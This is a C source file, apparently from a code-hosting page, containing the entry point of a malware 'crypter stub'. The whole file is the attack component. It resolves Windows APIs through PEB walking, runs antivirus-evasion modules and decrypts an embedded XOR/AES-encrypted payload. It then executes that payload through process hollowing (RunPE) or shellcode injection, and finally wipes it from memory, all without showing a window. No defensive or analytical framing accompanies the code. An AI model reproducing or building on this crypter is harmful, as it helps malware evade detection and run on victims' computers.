81 lines
2.1 KiB
C
Executable File
81 lines
2.1 KiB
C
Executable File
/**
|
|
* stub_main.c — Crypter stub entry point
|
|
*
|
|
* Flow:
|
|
* 1. Resolve all APIs via PEB walking
|
|
* 2. Run enabled evasion modules
|
|
* 3. Decrypt embedded payload (XOR + AES-256-CBC)
|
|
* 4. Execute via selected mode (RunPE or Shellcode)
|
|
* 5. Wipe decrypted payload from memory
|
|
*
|
|
* The crypter engine defines:
|
|
* - EVASION_xxx flags for each enabled evasion module
|
|
* - CRYPT_MODE_RUNPE or CRYPT_MODE_SHELLCODE
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <stdint.h>
|
|
#include <string.h>
|
|
|
|
#include "api_resolve.h"
|
|
#include "decrypt_layer.h"
|
|
#include "evasion.h"
|
|
|
|
/* Mode-specific execution functions (linked from runpe_stub.c or shellcode_stub.c) */
|
|
#ifdef CRYPT_MODE_RUNPE
|
|
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len);
|
|
#endif
|
|
|
|
#ifdef CRYPT_MODE_SHELLCODE
|
|
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len);
|
|
#endif
|
|
|
|
/**
|
|
* Securely wipe memory with volatile write to prevent compiler optimization.
|
|
*/
|
|
static void secure_wipe(void *ptr, size_t len) {
|
|
volatile uint8_t *p = (volatile uint8_t *)ptr;
|
|
while (len--) *p++ = 0;
|
|
}
|
|
|
|
/**
|
|
* WinMain — GUI subsystem entry point (no console window).
|
|
*/
|
|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
|
LPSTR lpCmdLine, int nCmdShow) {
|
|
(void)hInstance;
|
|
(void)hPrevInstance;
|
|
(void)lpCmdLine;
|
|
(void)nCmdShow;
|
|
|
|
/* Step 1: Resolve all APIs via PEB walking */
|
|
api_resolve_init();
|
|
|
|
/* Step 2: Run evasion modules */
|
|
evasion_init_all();
|
|
|
|
/* Step 3: Decrypt payload */
|
|
uint32_t payload_len = 0;
|
|
uint8_t *payload = decrypt_payload(&payload_len);
|
|
if (!payload || payload_len == 0) {
|
|
return 1;
|
|
}
|
|
|
|
/* Step 4: Execute */
|
|
int result = -1;
|
|
|
|
#ifdef CRYPT_MODE_RUNPE
|
|
result = runpe_execute(payload, payload_len);
|
|
#endif
|
|
|
|
#ifdef CRYPT_MODE_SHELLCODE
|
|
result = shellcode_execute(payload, payload_len);
|
|
#endif
|
|
|
|
/* Step 5: Wipe decrypted payload */
|
|
secure_wipe(payload, payload_len);
|
|
HeapFree(GetProcessHeap(), 0, payload);
|
|
|
|
return result;
|
|
}
|